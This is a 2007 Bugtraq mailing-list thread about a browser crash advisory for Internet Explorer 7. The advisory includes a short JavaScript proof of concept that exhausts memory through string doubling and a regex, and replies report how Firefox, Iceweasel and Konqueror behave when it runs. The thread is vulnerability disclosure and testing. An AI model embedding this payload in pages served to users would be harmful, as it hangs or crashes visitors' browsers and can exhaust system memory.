bugtraq - Re: Internet Explorer Crash

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Date: Tue, 17 Apr 2007 16:02:08 -0700
From: Mike Ely <me@...pehat.com>
To: The Anarcat <anarcat@...rcat.ath.cx>
Cc: "J. Oquendo" <sil@...iltrated.net>, bugtraq@...urityfocus.com
Subject: Re: Internet Explorer Crash

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Nope.  Ran this one against Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.8.1.2) Gecko/20061023 SUSE/2.0.0.2-1.1 Firefox/2.0.0.2, and it
didn't even flinch.  No OOM-killing here.

On the other hand, Konqueror 3.5.5 "release 45.4" churned swap madly for
about five minutes (the machine continued to run well enough if just a
bit slower) until Konq sig-sixed itself.

Cheers

The Anarcat wrote:
> Actually, this also crashes Mozilla/5.0 (X11; U; Linux i686; en-US;
> rv:1.8.1.3) Gecko/20070310 Iceweasel/2.0.0.3 (Debian-2.0.0.3-1)
> 
> I would think that Firefox and most browsers implementing javascript
> would die an horrible OOM death on this.
> 
> A.
> 
> On Tue, Apr 17, 2007 at 01:09:13PM -0400, J. Oquendo wrote:
> Product: Internet Explorer Version 7.0.5730.11
> Impact: Browser crash possibly more
> Author: Jesus Oquendo
> echo @infiltrated|sed 's/^/sil/g;s/$/.net/g'
> 
> 
> I. BACKGROUND
> Why bother? Who doesn't know what Internet Explorer and Microsoft are.
> 
> II. DESCRIPTION
> IE 7 is vulnerable to a script which causes the browser to hang. The
> memory and CPU usage go through the roof. Originally the script caused
> (and still causes) Safari and Konqueror to crash.
> 
> III SOLUTION
> Stop using Microsoft products or deal with a new advisory every other
> day.
> 
> IV. Proof
> http://www.infiltrated.net/stupidInternetExploder.html
> 
> V. Code
> 
> $ more /stupidInternetExploder.html
> 
> <script>
> 
> var reg = /(.)*/;
> 
> var z = 'Z';
>                while (z.length <= 
> 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
> 99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
> 99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
> 99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
> 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999) z+=z;
>        var boum = reg.exec(z);
> 
> </script>
> 
> Goodbye
> 
> 
> J. Oquendo
> http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x1383A743
> sil . infiltrated @ net http://www.infiltrated.net 
> 
> The happiness of society is the end of government.
> John Adams
> 
> 
>>

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